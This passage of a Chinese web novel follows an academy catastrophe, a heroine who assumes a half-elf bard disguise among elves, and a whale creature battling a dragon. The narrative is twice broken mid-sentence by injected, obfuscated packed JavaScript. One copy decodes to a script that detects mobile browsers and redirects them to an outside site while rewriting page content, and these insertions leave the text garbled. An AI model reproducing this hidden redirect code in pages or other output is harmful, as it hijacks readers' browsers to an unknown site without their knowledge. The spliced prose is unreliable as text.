“吾神,只要您能醒来,就算怨我恨我,让我永世不得解脱我都愿意,我只想见证您的苏醒……”黑衣使徒也不管冲下去的校长等人,沉浸在自己的世界中,捧着脸,痴痴地呢喃。 下方的法阵已经完成,数千条阵纹全部亮起,形成一个极其繁复夸张的魔法阵,一圈一圈加速旋转并腾空而起,形成上下封闭的圆柱体,圆柱体内无论天上的还是地下的,通通被困在这里,有不小心触碰到法阵的人连惨叫声都没来得及发出,立刻灰飞烟灭。 利亚姆校长看着底下这群神色惊惶中带着点茫然,还搞不清状况的学生,心中流露出由衷的愧疚和悲痛。 来不及了,所有人都出不去了,这群可爱的,稚嫩的,刚刚成年的学生,如此信赖地看着他,看着他亲手将这群生命送入了地狱! 他已经一把年纪了,就这样死去也没什么,可是学生们呢?他们还没有好好看看这个世界,他们的人生还不到十分之一,就这样沦为那群疯子的祭品…… 绝对,绝对不许! 利亚姆校长闭了闭眼,和身边的两位校董对视一眼,看清了对方眼底的决心。 几人身边同时浮现无数颜色各异的魔法阵,裂空,切割,粉碎,爆炸,腐蚀……各种效果,能量庞大的法阵一股脑冲向那层屏障,巨大的轰鸣声响彻天地,待动静停止,他们错愕又在意料之中,屏障仅仅裂开了一道口子。 “我以为,集我们所有人之力,起码能破开一个空隙,没想到只有一个巴掌大。”面上有道狰狞疤痕的骑士说道,她自嘲地摇摇头,“看来只能用那招了,伙计们,打起精神来!不要在孩子们面前哭丧着脸,你们吃过的盐可比他们喝过的营养液多,如果我们现在就认输了,怎么对得起他们!” 他们打算使用的便是禁忌法阵——血色湮灭,这是他们三人求学时从古籍中复原出的法阵,也是他们所知最强的法阵! 用参与者全部的生命和灵魂作为代价,湮灭指定之物,这种堪称邪恶的法阵是他们走投无路的无奈之举,只能放手一搏。 另一位牧师校董则笑出了声,“没错,利亚姆,不要像小时候一样哭鼻子了,我们这群老骨头还是有点用处的,抓紧时间吧!” 同伴视死如归的乐观让利亚姆灰暗的心情奇妙地好了一些,正要加入她们,殊死一搏,却被周围的动静惊到,“你们有没有发现,空间波动不对劲,是,是……”他张了张口,艰难地吐出几个字,“法则之力怎会如此活跃,难道那位,难道献祭真的成功了吗……” 其余两位听到这句话,立刻仔细感知,骑士皱皱眉,眯着眼,“不,不太像,祂没有醒,若是醒了还要更活跃一些,现在太微弱了,只是法阵的效果,不过,我们时间不多了……”空间震荡,像是掉下的墙皮,窸窸窣窣,又很快融化。 就在这时,异变突生。 阵法内,一股庞大的法则之力一圈一圈荡开,像一把巨锤狠狠敲向脆弱的壁垒,空间猛烈震荡,所有人在这股伟力面前一视同仁,无论是强如利亚姆,还是实力低微的毕业生,都如大海中的一叶扁舟,摇摇晃晃,只能随波逐流,跌倒在地。 这处脆弱的折叠空间并不能承受如此强大的力量,很快在动荡中撕裂了千百道口子,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听着脑海中系统播报任务进度加一,池危做出了决定,眼神空远,没有转头,对陈凌鸦叮嘱道,“凌鸦,别怕,保护好自己,记住,待会儿无论发生什么,无论在哪里,别慌,我一定会找到你的。” 陈凌鸦猛然从震撼中回过神,听到这话,望着池危沉静的面庞,不好的预感来得急切又匆忙,“小池,你是不是知道会发生什么!而且,什么叫一定会找到我,你要干什么!” 池危没有回答,而是轻扯唇角,眼神移动,与藏在陈凌鸦口袋里,狼毛化成的碎星对上眼:保护好她…… 碎星二号两眼放光,用意念嘤嘤嘤回复:保证完成任务! 紧接着,一股难以挣脱的吸力袭来,将所有人吸上天空,建筑倒塌,场地破碎,材料碎屑与密密麻麻的学生老师一起,像是一颗颗流星,冲向窟窿,飞过时发出惊恐的哀嚎。 “嗷嗷嗷嗷!不要啊!我补药死啊!” “我的贷款还没还完,是不是不用还了!” “有这样一出经历,我已死而无憾了——” 池危顺着那股吸力移动,并悄悄加速,冲在最前面,回头看向无数学生或是惊慌或是恐惧的面孔,时空法则随心而动,在无人能看见的地方,无形的丝线将所有人绑在一起,她最后朝着某处扫了一眼,接着头也不回地投入乱流之中。 骑士与牧师、利亚姆院长紧随其后,在空中形成三角形,用最后的魔力结成一个巨大的法阵,甚至能覆盖半边天空。 牧师小姐突然走神一瞬,被眼尖的骑士提醒,“露米娜,不要走神,不然星辰壁垒这种禁忌魔法容易失败。”露米娜回过神,加大了魔力输出,不确定道,“我好像看见了一个人直接冲进去了……” 说完她自己也觉得可笑,摇着头否定了,“怎么可能呢,应该是看错了,有人会这么傻吗……” “伊索尔德,你说我们能活下来吗?”露米娜放弃多想,扫了眼身后的学生,他们已经能触碰到窟窿的边缘了,抬眼望去,像是黑洞一样深邃,仿佛要将所有人吸入搅碎,令人感到本能的恐惧,仅仅靠近就让他们无意识地浑身战栗。 “我们一定可以,带着学生们一起!”伊索尔德依旧沉稳的声音让她安心了许多。 “不管怎样,是生是死,我们都会在一起的,没什么好怕的,这么多年也活够了。 只是小利亚姆,这次别再哭鼻子了哦!”露米娜仿佛抛弃了恐惧,笑着调侃,金色长发在高速飞行中紧贴着脸庞,湛蓝的眼眸溢满从容的温柔,只是笑容中透露出一丝的哀伤。 利亚姆院长抖着白胡子,哆嗦道,“露米娜,我都一大把年纪了,再提这事就过分了!” 高空之上,金色光芒盛放,将所有人镀上一层金光,接着被黑暗吞没,隐隐约约传出一声朗笑,“哈哈哈,你还是这么不禁逗!” …… 不久,利亚姆学院恢复了往日的平静,除了破破烂烂的环境和半空中的巨大窟窿诉说着曾经发生的惨案。 一个身着黑色作战服,套着外骨骼的白发军官闯了进来,身后跟随一众着装统一纪律严明的军人。 “还是来晚了吗……”军官瞳孔骤缩,凝望这末日般的景象。 之前监测到利亚姆学院这里的灵能强度超标后,她就立刻带队赶来,没想到还是晚上一步。 她看着破碎的天际,感知到那无比动荡的时空之力以及窟窿外本不该与现世联通的时空乱流,想起了之前下属报告上来的利亚姆师生失踪案,同样有强烈的时空波动,以及与亚空间连接的痕迹,这两件事一前一后发生,现场情况也很相似,很难说没有关系。 长官思索着,随身携带的灵能检测仪滴滴地发出警告,这意味着这里曾爆发过一场灵能强度超过史诗级的战斗。 也许正是这场战斗撕裂了本就薄弱的空间壁垒,导致虚空与现世联通才造成这番景象。 不过,这种事发生的有些太频繁,间隔太短了,什么时候虚空与现世壁垒脆弱之处这么多了? 更何况,根据档案记载,近些年,帝国公民失踪事件发生数十次,共同点就是现场几乎没有任何线索,这些案件都是下属调查后报告上来的,她没有现场勘探过。 如果所有的失踪事件都是因为空间撕裂导致民众误入的话,确实不会留下痕迹,下属们也没那个眼力见能察觉到空间的变化。 这个可能性在她的推测中几乎达到百分之八十的正确率,如果没有其他线索,几乎可以断定就是这个原因。 有一就有二,俗话说得好,发现一只魔蠊的时候就说明家里已经藏了一窝魔蠊了。那么发现一处薄弱点的时候就说明已经存在许多还未发现的屏障薄弱点。 如果她的推断成真,那就说明至少人族的领地已经与虚空重叠了许多,空间屏障因为未知原因被削弱了。又或者……是虚空正在靠近/融合。 自己的推测太过惊人,长官不敢再细想,甩甩脑袋清空杂念,决定先顾当下,这种大事还是留给陛下操心吧。 “所有人,一队进行搜救,二队搜集线索,立即行动!” 身后众人响亮答是,迅速分散。 7. 切换马甲 一处荒无人烟的寂静深林。 “砰!”一道沉闷的碰撞声响起,林中无数被惊扰的眼睛睁开,望向声源处,不知感受到了什么,眼睛的主人没有动作,再次闭上眼,陷入沉睡。 重物掉落到树干斜斜伸出的菌盖上,弹了一下,改变方向,再次掉落,朝着一只更加巨大的菌类方向滚去,原本伪装成无害可食用蘑菇的巨大噬魔菇激动地伸出口器,准备翻转菌盖,饱餐一顿。 可不知感觉到什么,又迅速收回,继续伪装成柔弱无害的样子,用厚实柔软的菌盖作为人影的缓冲垫,从高空坠落的巨大冲击力使得那人弹了两下才止住。 池危躺在巨大的棕红色菌盖上有些发懵,望着头顶遮天蔽日的茂盛树冠,心想,这是哪里,星际时代居然还有绿化做得这么好的地方,尤其是人族绿植昂贵,大多采用仿真绿化,这种原始森林看起来不像是人族的领地…… 系统:【宿主宿主,恭喜任务进度增加啦!】噗呲噗呲几朵烟花绽开。 【我现在在哪里,可以查到吗?还有,学院的人都掉到哪了。】 系统翻了翻定位,回道:【目前您显示的位置是在精灵族的主星——德瑞玛星球!至于其他人,时空乱流无法预测走向,差之毫厘失之千里,其他人可能也散落在精灵族附近吧,不过幻想种族的领地都挨得蛮近,掉到其他地方也不是不可能。】 【啊,宿主,我才看到,主线任务更新了,精灵族这边也有任务,叫做‘精灵之殇’,要求是调查并解救失踪的精灵族幼崽,解决精灵族的灭族危机,阻止精灵族封锁族地,改变精灵封闭的观念,带领他们与世界进一步交融。 任务要求很明确呢,我们先做这个吧,没有空间坐标,维泽斯那面暂时回不去,而且说不定第一批失踪的学生也在这里,那就正好连着任务一一起做了!任务没有时间限制,宿主,我们不用着急!】 是不着急,但为什么有种越努力越心酸的感觉,上一个任务还没解决,就又来了一个任务,她自己还给自己找麻烦。 她实在太有责任心了,坚持自己制造麻烦自己解决的原则,也就是要把散落的学生老师都找到带回去,想偷懒都不行啊。 池危打开任务面板,看到星图上点亮的下一个地点——精灵星域德瑞玛星球。 任务要求一大堆不说,看起来都不是短时间内能解决的,还不如上一个呢,起码人族的是外部危机,解决就行。 这精灵族怎么要她一个外人整顿内务,指手画脚,幻想种族各个排外,难搞得很,一看就是烫手山芋…… 现·人族·池危如是想。 再翻翻光脑,上面显示无信号。 池危:…… 古老的修理方式——拍一拍没有任何用处,依旧在转圈的屏幕嘲笑她的侥幸心理。 不能用就是不能用! 市面上大部分旧版光脑只能连上人族的星网,池危这款从二手市场上淘来的光脑当然没有跨星域的高级功能了。只有小有资产的人士才会买特制的新款通用光脑,穷鬼就不用想了。 不过她有系统这个bug给她偷偷接上网,这不就省了那笔网费了吗!比起老老实实买光脑上网的人遥遥领先一万步! 经过一番精神胜利法,池危平复了心情,开始做正事。 打开聊天界面联系陈凌鸦和其他同学,可能是大家还没从乱流里出来或者没适应新环境,所以暂时没人回。 不过她倒是不担心陈凌鸦,毕竟碎星二号可是从虚空中诞生的生物,空间乱流而已,对它来说大概是冲个澡。 说起碎星……碎星暂时被她放回了契约空间休息,如今又在精灵族,按照她之后的计划,碎星不易暴露人前,她决定等情况稳定再放出来。 至于其他同学……池危半点不心虚,也不想找冠冕堂皇的理由。做了就是做了,为了达成目的,她确实顺水推舟了,但如果今天她不在结局也就是如今这样被卷进空间裂隙。 她只是没有干预。 虽然这样的结果有点始料未及,但仔细想想也在情理之中。 而且她已经做了自己能做的准备保证同学的安全,那就仁至义尽了。 将情况总结一番,池危更觉前途一片昏暗。 助力是没有的,环境是陌生的,身份是不能暴露的,任务是一环接着一环的,看不到一点完成的希望。 总之……事已至此,先休息吧。 池危安详地闭上眼,舒服地躺在柔软安静的菌盖上,但不过几秒钟,又睁开了,绿眸里满是疲倦。 有人过来了。 她打开系统,点向那张吟游诗人的卡牌,从皮肤到装备一键切换。 她要将自己与那个人族的池危完全分割开,才能彻底融入精灵族打探情况。 使用卡牌后外表发生了变化,完全变成了曾经的身体。 此刻,站在这里的就是从小流落外星意外回乡的年轻的半精灵·布莱尔,而不是人族池危。 于是,等卡拉走到这里时,看到的就是一位坐在噬魔菇上的半精灵。 铂金色的两条麻花辫在阳光下流淌着神秘的光泽,翠绿的眼眸灵动而璀璨,身着褪色的鸢尾蓝外衫,领口磨损得厉害,绣着银月的图纹,腰间绑着羊皮束腰和皮质腰包。 鸦羽斗篷垂落,仿佛有点点星芒闪烁,手捧古旧的小型竖琴,带着些许古老的气息。她坐在巨大的噬魔菇上,却没有遭受半分伤害,正开心地冲着她笑。 凭借身体的记忆,此刻演技帝布莱尔上身。 卡拉愣神一瞬,接着关切地大声道:“你是哪个地方的精灵,都说了多少次了,白雾寂林这里很危险!噬魔菇更是不能靠近,赶紧下来!” 布莱尔顺从地跳下来,依旧笑嘻嘻地看着她,卡拉见她还算乖巧,刚刚的怒火消下去一些,瞥了眼她比精灵短一截的耳朵,忍不住数落,“看你年纪也不大,是半精灵吧,你是哪里来的,长老没告诉你不能随便过来吗?对了,你叫什么,我好像没见过你。” 池危眨眨眼睛,用极其无辜的神情说道:“我叫布莱尔,刚来主星不久,之前在人族那里生活,还没见过长老,不知道不能随便走。”她回头指了指噬魔菇,“这个东西很危险吗?我刚才一直躺在那里,感觉很舒服,它也没伤害我呀!” 她一边说,一边戳了戳噬魔菇向她伸出的嫩黄色须须,噬魔菇讨好似的蹭了蹭,又松松垮垮地勾住她的手指。 “你这孩子。”卡拉惊讶地望着这一幕,绞尽脑汁思索,憋出一个可能的答案,“可能是你的血统更纯净吧,精灵受草木亲和,与自然亲近,即使是魔兽也不愿伤害精灵们。 但噬魔菇脾气暴躁,不太受亲和力影响,精灵也常有被袭击的案例,很少有精灵会招惹它们。可能你运气好,这只噬蘑菇还不饿,所以没攻击你。这么说来,你很幸运呢!” 听了卡拉的解释,半精灵露出恍然大悟的表情,头不停地点着,翠绿的眼眸亮晶晶地看着她,好像在诉说她的崇拜,卡拉很快在这样的眼神中泡得晕晕乎乎,但她很快意识到不对。 “你刚才说你是从人族来的,没见过长老?”布莱尔点点头,“是啊,没人告诉我要见什么长老。”她面上一片纯然的疑惑,看不出半点破绽。 卡拉狐疑地看了半天也没发现异样,自己给她找了个理由。“精灵族这些年一直在找寻流落在外的半精灵,所有找回来的精灵都要在长老那教导一年才能独自生活。” “但半年前已经停止了寻找,三天前,主星也已经彻底封闭,不许任何人进出,所以……你是封锁前自己找过来的半精灵?” 啊,原来是这样,她现在知道自己是怎么过来的了。 半精灵好似被说中了痛处似的,犹豫片刻,面上闪过一丝羞愧,还是咬牙说出真相,只是支支吾吾,眼睛也不敢看她。 “是,我是个孤儿,在人族那边过得不好,前几天偷偷跟着一艘运输舰跑过来,看到了很多和我长得很像的人,就随便找个地方躲起来了,一直没人发现我,直到今天遇见了你……” 真是个凄凄惨惨的可怜精灵! 她的话明显存在很多疑点,首先是着装,这是属于古老时代吟游诗人的打扮,人族那边的穷人没心情追求复古潮流,流浪儿更不可能,顶多穿个普通款式,没补丁就谢天谢地了,具体着装参照之前的池危,大概是破损版池危。 然后是装备,她浑身只有一支小型竖琴,和腰带皮包,再加个斗篷,虽有些磨损但并不破烂,全是不实用的东西,小刀匕首枪械药剂通通没有,连个背包都没有。 一般来说,流浪儿很少有空间装置,所以会随身携带压缩食物,少量的水和武器,尤其是武器,要放在手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212875|181363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,一伸手就能拿到,以便应对突发事件。就算有空间装置也要随身携带这些东西,防止被人看出端倪,易遭打劫。 而且再看她姿态闲适,神情天真乐观,没有被生活磋磨过的疲惫,和到处奔波的警惕惶恐,完全对不上她所说的处境。 最后,若如她所言是偷渡来主星的,那么躲藏在主星的人连生存都要付出全部精力,哪有心情和本事跑到这一看就很危险的白雾寂林? 总之略微一想就处处是破绽,只有被怜爱蒙蔽了思考的卡拉才不会多想了。 身为善良友爱的精灵族,又是精灵族中感情最充沛,最有耐心最能共情他人痛苦的引导者,光是听到同族悲惨的经历就让她心生同情,满腔的怜爱泛滥而来,下意识忽略她话中的不合理。 为了不让半精灵再次回忆从前的苦难,卡拉很体贴地没有多问细节,她相信自己对情绪波动的敏锐,于是只是很关切地安抚半精灵,希望以此稍稍抚平对方的痛苦。 “孩子,我知道你从前一定很辛苦很难过吧,但没关系,来到精灵族就不会了,这里是你的家,大家都会接纳你,照顾你,对你很好很好的!” “嗯!谢谢你卡拉,我终于不用再过东躲西藏,连觉都睡不安稳,饭也吃不饱的日子了,呜呜呜~” 这番话把卡拉又说得鼻头一酸,更没有心情追究她话里的漏洞了。 池危则悄悄松了口气,虽然由于欺骗天真又好骗的精灵良心有稍许刺痛,但更多是糊弄过去的兴奋。 于是接下来,感受到同族热情的半精灵眼泪汪汪,懂事又成熟地表示感激,话中不经意间透露出对精灵族的好奇向往,和初来乍到的些许不安,借此和卡拉聊了起来,拉近关系。 精灵族性情单纯友好,同族间更是团结,但这并不代表他们不敏锐聪颖。 幸运的是,今天遇见的是精灵族中承担“幼师”职责的引导者,他们的特点便是性情温柔有耐心,爱护幼崽和同族,负责管教引导未成年精灵,并且警惕心不强。如果她今天遇见的是护卫队的精灵,可少不了一番细致的盘查,连底裤都能被扒了。 于是在池危的卖惨下,被心疼地两眼汪汪的卡拉带到了餐馆,准备请她大吃一顿再带她去补办身份证明。 离开时,池危回头看去,林间已布满薄雾。 …… 精灵崇尚自然,主星的生态十分良好,仿佛没有过遭受科技的污染。到处是参天的古树,草木林立,奇花异草随处可见,倒是科技产物得花心思找找。 精灵们依旧维持着古时的喜好,在林间搭建各种建筑,住的是树屋,或者随便找棵树,找朵花当窝。而其他种族的商人有的照搬,有的则是将店铺建在地上,与石头树木融为一体,林间还停了许多宽叶状的飞行器。 卡拉和布莱尔走出白雾林,轻轻一跃便跳上十几米高的树干,灵巧地在宽约两三米的树干间穿梭,眨眼间便到了一座宽敞的树屋。 密林酒馆。 池危望着古铜色招牌的花纹陷入了沉思。 花纹里藏着用古精灵语写的几个大字:布莱尔与龙不得入内。 她看到的第一个想法是:这东西……怎么还在这! 第二个想法则是:她是不是应该换个名字,突然有种不详的预感。 池危裹了裹摇摇欲坠的马甲,侧过头,假装好奇地问卡拉,“卡拉,你知道那花纹上写的是什么吗?” 卡拉愣了一瞬,才注意到花纹中才藏了字,也盯着瞧片刻,“呃,抱歉啊布莱尔,这个我真的不认识,好像是古精灵语吧,我的古精灵语并不太好,认不出来,之前还以为是花纹呢。” 卡拉难为情地涨红了脸,但很快想起了什么似的,双眼一亮,“但我知道有谁认识古精灵语,也许我们待会可以问问多多洛!他一天有一半的时间泡在这个酒馆!” 卡拉悄悄地瞥了眼池危,没能在小可怜(?)提问的时候给出准确回复,让她觉得自己作为引导者不够称职,下定决心以后一定要好好学习古精灵语,不再偷懒,不能因为幼崽也不乐意学就放纵自己!哪怕再晦涩再绕口也要学会! 好在半精灵很善解人意地表示不是她的问题,是自己在为难精灵,还道了歉。 真是可爱又懂事的孩子啊,和那些捣蛋的小精灵一点都不一样! 卡拉美滋滋地想。 8. 好戏开场 那边池危在精灵族混得如鱼得水,这边她的好朋友陈凌鸦却过得水深火热。 “这里是哪里啊!!!”陈凌鸦崩溃地对苍天大喊。 碎星二号变成原形把陈凌鸦裹在体内,高空飞行,敏捷地躲避时不时冲天而起的岩浆。 “噗呲噗呲!”带着焚烧一切的热度,岩浆接二连三地冲天而起。 “啊啊啊啊!!!好烫,好烫!!”陈凌鸦被热气烫地嗷嗷叫,在碎星体内蹦迪,翻滚,抽搐,行为指扭曲,仿佛刚驯化四肢的古早人类。 就算她没有直接接触岩浆,但光是逸散的热气都够脆弱的人类吃上一壶的了,好在碎星二号极其靠谱,用意念安慰她。 【人类,别怕,等我找到一处稳定的空间节点,就可以带你离开了!】 【呜呜呜,碎星你真好!不愧姨姨这么疼你!】 碎星二号:…… 但显然,事情永远不会像她们想的那么顺利。 一道灼热恐怖的气息突然从身后袭来,碎星猛地躲开,那道攻击落到地上,直接摧毁了半座火山,留下一道巨大的爪印! “狡猾的异族!你们竟然还敢来!”来者的声音仿若雷声轰鸣,震得人鼓膜刺痛,沙石飞溅! 陈凌鸦被突然的提速惊到,一个没坐稳,跌倒鲸身上,迅速扭头,却正好对上一双比她整个人都大的金色竖瞳。 龙,是龙族?! 遮天蔽日的巨龙挡住了光线,阴影笼罩着她,陈凌鸦仿佛是遇到了顶级掠食者的脆弱小兽,登时浑身僵直,动弹不得,甚至能听到血管中血液涌动,又慢慢变凉,有种窒息的错觉。 冷酷的竖瞳燃烧着愤怒的火焰,棕色的翅膀投下阴影牢牢覆盖住整只星云鲸。 “嗡——!”碎星二号不甘示弱,空远低沉的鲸鸣声响彻天地。 两只巨兽似乎明白了对方的意思,龙发出失去理智的哀嚎,“不,我不信!一定是你们这些可恶的异族偷走了幼崽!” 又是一记龙爪挥下,甚至引动了飓风。 碎星二号也被来者的无理取闹惹出了火气。 不就是龙,有什么好怕的,一如既往暴戾无脑,嚣张恣睢,他狂,它碎星也不是吃素的! 就算要保护一个脆弱的人类,不能使出全力,对付这条才传奇的小龙也足够了。 打定主意后,碎星不再躲避,直直冲进飓风,飓风上连着天,下连着地,碎石黄沙随风旋转升空,黄烟升起,沙土漫天,之前被龙爪毁去的半座火山像是被擦去的图画,再无半点痕迹。 它的周身星光闪烁,无形的空间之力叫嚣着湮灭一切,所过之处空间皆被扭曲,沙石变形消失,整条巨鲸像是一支箭矢钉住了飓风,狂风渐息。 但碎星没有减速,尾巴一甩,冲着巨龙撞去! 巨龙瞳孔骤缩,仿佛没料到自己的招式被如此轻易化解,登时不敢轻敌,用了八分力量,喷出一口比岩浆还要灼热可怖的龙炎。 “吼——”金红的龙炎仿佛碰一下便消融了血肉,沾之即焚,化为灰烬,就连星际熔点最高的星炉石也扛不住三秒便化为飞灰,炽热的龙炎将这片土黄色的天空映成了金红色! 那个家伙应该死了吧……这种程度的龙炎只有长老们能抵挡,就连他自己被烧一下都要疼得满地打滚。 可是,真的吗? 一双金瞳死死盯住前方,心跳极快,隐隐有种不祥的预感。 只听噗嗤一声,桀骜的龙炎顺从地分开,一只虚幻的蓝色鲸鱼从金红中冲出! “嗡——” 鲸身旁有如雷一般的轰鸣声,仔细看去,竟是密密麻麻的空间裂缝紧紧缠绕着它,像是飘带又像是闪电,透出浓郁的黑与蓝。 它速度极快,瞬息之间闪到了巨龙的眼前。 太快了,他躲不开! 巨龙很少面对此刻的生死威胁,此刻却根本反应不过来,只能眼睁睁看着危险的气息冲到脸前! “轰隆!”巨龙被一尾巴扇落地面,滚了两圈,沙尘腾空,碎石乱溅,他浑身无法动弹,紧接着远在天空的龙炎不知被什么力量转移到他身上,在他身上熊熊燃烧,烧得他满地打滚,痛苦地哀嚎声响彻天地。 “嗷嗷吼嗷吼——” “好痛啊,好痛啊!”坚硬的龙鳞发出噼里啪啦的响声,他横冲直撞地压塌了几座山。 就在这时,天边传来几声龙吟,“赤炎,你怎么了!发生了什么?入侵者呢!” 银龙,蓝龙和黑龙听到同伴的动静急忙赶来,见到他如此凄惨的模样,蓝龙立刻引来碧蓝之水浇灭了龙炎。 几只龙关切地围过来,赤炎终于喘了口气,瘫在地上,身上滋滋地冒白烟。 “入侵者不就在那吗!它把我打成了这样,你们快去追它,帮我报仇啊!”赤炎抬头一看,天边却空无一物,竖瞳诧异地睁大,“怎么,怎么不见了!” 那么大一只鲸呢? ** 电子蜡烛映出昏黄的光,原本只有寥寥几人的酒馆坐满了精灵,他们皆是身形优美,美貌惊人,发色各异,精致的面孔雌雄莫辨,盈满恍惚。 “快快,我们快走!”趁精灵们还没反应过来,根据以往的经验,方才还大放异彩的半精灵立刻给自己施了个隐匿咒,满脸紧张,做贼心虚一般将卡拉和多多洛拉着狂奔。 几个精灵在夜晚的密林间飞跃,莫名狼狈,像是落荒而逃。 事情是怎么发展成这样的呢?卡拉到现在还有些蒙圈,盘起的亚麻色长发被晚风吹得七零八落,思绪飘到了十分钟前。 那时,她正领着可爱的半精灵找到躲在角落里喝树莓汁的多多洛。 银发的精灵长了一张颇具少年感的精致面孔,带着点婴儿肥,看着像未成年精灵,但其实已经七百多岁了。 “多多洛,你瞧,这是谁!”卡拉眨眨眼,从身后拉出布莱尔,“锵锵锵锵,新的族人,布莱尔,她超可爱的是不是!”布莱尔歪着头,看着趴在桌子上的银发精灵,配合地露出灿烂无辜的笑容,“你好呀,多多洛!我是布莱尔,很高兴见到你!” 多多洛先是一愣,接着继续往嘴里扔弹弹豆,感受着嘴里噼里啪啦的辛辣口感,满足地眯眯眼,漫不经心地打了个招呼,“你好啊,布莱尔,我已经好久没有见到新的族人了。对了,主星已经封闭,你是从哪来的呢?” 碧眸半眯,笑意中暗藏试探,不经意间将布莱尔从头到脚扫视一遍,喝了口树莓汁,有些惊讶,“这身打扮……可不常见,吟游诗人?真是少见的职业,很多年没见了,现在就连冒险者都很少采用如此,呃,古老的装备了呢!” 卡拉闻言有些惊诧,望着半精灵的目光中带了点好奇和探究。 是吟游诗人诶,只在史书上见过的冒险者职业!这让喜爱音乐与艺术的精灵难以抗拒地向往,而且由于这个职业的销声匿迹,给半精灵蒙上一层神秘的色彩。 没想到她眼中的小可怜有这样的职业,卡拉眼眸微亮。 “来,坐吧!我再点一桌菜,你们一定还没吃晚饭吧!”多多洛自然地拉上陌生人一起吃饭。 这个精灵不太好糊弄,不动声色地,一眼就看穿了她的身份,这点稍稍困难,毕竟吟游诗人这个称呼已经销声匿迹几百年了,现在应该改名叫……歌手,作曲家,诗人或者记者。 这家伙还用精神力试探她的实力,不过凭他的实力只能看出她伪装出的精英级波动,布莱尔面上微笑,暗中皱眉。 卡拉在他面前就像个咋咋呼呼的傻白甜。 没等布莱尔解释,卡拉就迫不及待地将她的说辞添油加醋地重复了一遍,说得声泪俱下,活像池危是个没人疼爱受欺负,到处捡垃圾为生的小可怜。 “是吗,确实好可怜啊,嗯嗯嗯。”多多洛一边塞豆子,一边笑眯眯地捧场,像是把池危临场瞎编的故事当成了下酒菜,半点没信。 池危也知道自己十分可疑,但可疑归可疑,系统已经将她胡诌的身份痕迹录入了星网,就算去查也找不到证据,没有确凿的证据,精灵是不会把她这个货真价实的同族怎么样的。 而且……就算她漏洞百出又如何呢,她其实没想掩饰…… 但卡拉显然没看出来多多洛的敷衍,一番精彩的演讲后,多多洛没有表现出他的怀疑,轻微试探几句后便拉着她聊八卦了,心大的仿佛一点都不担心她是个心怀叵测的探子,气氛热闹又和谐。 布莱尔先是不安警惕,接着好像被气氛感染似的,渐渐放松下来,融入陌生人的善意,甚至生出些许依赖和好奇,问出了困扰她许久的疑惑。 “多多洛,听卡拉说你非常博学,那你知不知道招牌上藏在花纹里的字是什么意思啊?” 布莱尔仰着头,眼神清澈明净,一眼能望到底,像个真正的一无所知的年轻半精灵一样,细碎的光在翠眸中跳跃,像是林间的光影,灵动,透亮,连看惯了同族美貌的精灵都怔愣一瞬。 多多洛很快回神,有些意外,“观察得很仔细嘛,很少有精灵注意到呢。”他缓缓开口,“那是用古精灵语写的,现在的年轻精灵确实不知道,其实在招牌上写这些字是从母星传过来的一种传统了。” “传统?”卡拉和布莱尔不约而同出声,好像是第一次听说一样,两双求知的漂亮眼睛眼巴巴地看向多多洛。 多多洛好像很习惯这种目光,放松下来,轻柔动听的嗓音娓娓道来,“是的,很多精灵都不知道,在很久以前,不知从何时起,精灵族的酒馆都会写上那几个字,具体起源无法考究了,只是大意为禁止一些家伙进入酒馆。” 池危的好奇可一点不掺假,年轻的半精灵身体好奇心旺盛的很,活力满满,对任何事都有无限的兴趣,更别说是回顾自己曾经的事迹了。 “第一个单词是荆棘、野玫瑰的意思,第二个单词是龙。结合后者的含义,我猜测第一个单词是个名字,这个单词在古精灵语中的发音即是——” 多多洛对上了池危的眼睛,他冲池危眨了眨眼,“布莱尔,和你的名字一样,好巧!” 呵,呵呵,确实很巧。 池危想,布莱尔的事和她池危有什么关系呢。 再说了,这个名字在精灵族中挺常见的,也因此她没换名字。 果然,多多洛只是随口一提,卡拉也只是惊诧一瞬便转移了注意力。 “这个家伙竟然和只会到处捣乱的龙族放在一起,一定不是什么正经精灵吧!”布莱尔更是义愤填膺,“这个跟我同名的家伙真可恶,败坏风评,让我以后可怎么自我介绍!” “真是烂心肝,祝她以后被讨厌的龙族叼走吃掉!”布莱尔越说越激动。 如此恶毒的诅咒令在场的两个精灵都为之侧目,毕竟被龙族抓走吃掉,可是长辈们从小用来吓唬小精灵不要乱跑的恐怖故事! 龙族在精灵之间的风评可见一斑。 卡拉都有些不忍心了,“就算这个布莱尔干了什么不好的事,被龙族抓走也太过分了吧,还是让她吃怪味果的时候只能吃到臭王花味就行了……” “嘶——”布莱尔和多多洛同时深吸一口气,面色扭曲,仿佛想到了什么不好的事似的。 臭王花,是一种又苦又涩又臭的东西,口感像是各种过期食物、尸体和腐烂物的混合,堪称生化武器,吃下去后将在舌头上停留三天,这三天只能忍受这种味道。 别问她为什么知道…… 布莱尔晃了晃杯中的金黄色液体,猛灌一大口,试图冲洗掉记忆中的糟糕味道,喝完后,她咂了咂嘴,“这饮料叫什么,还挺好喝的。” 就是怎么感觉脑袋有根线一突一突地跳,格外兴奋,无数美妙的音符诗篇迸发出来,争先恐后地跃出脑海,想从口中释放,在指尖舞动。 哒哒哒,布莱尔拼尽全身的力气摁住强烈的渴望,想起自己一杯接一杯喝的液体,有种不好的预感,“那东西不会是……” 多多洛哈哈一笑,“你猜得没错,这可是金梅酒,酒馆的招牌,可贵啦,成年的小精灵怎么可以不尝尝酒的滋味呢!再说了金梅酒度数很低,你——” 多多洛的话还没说完,就被布莱尔的突然起身吓了一跳,“你,你怎么了!” 布莱尔就是这么一个一沾酒就醉的精灵啊,池危也控制不住自己身体的本能,而且醉后不发酒疯,只是有点犯职业病而已,而已…… 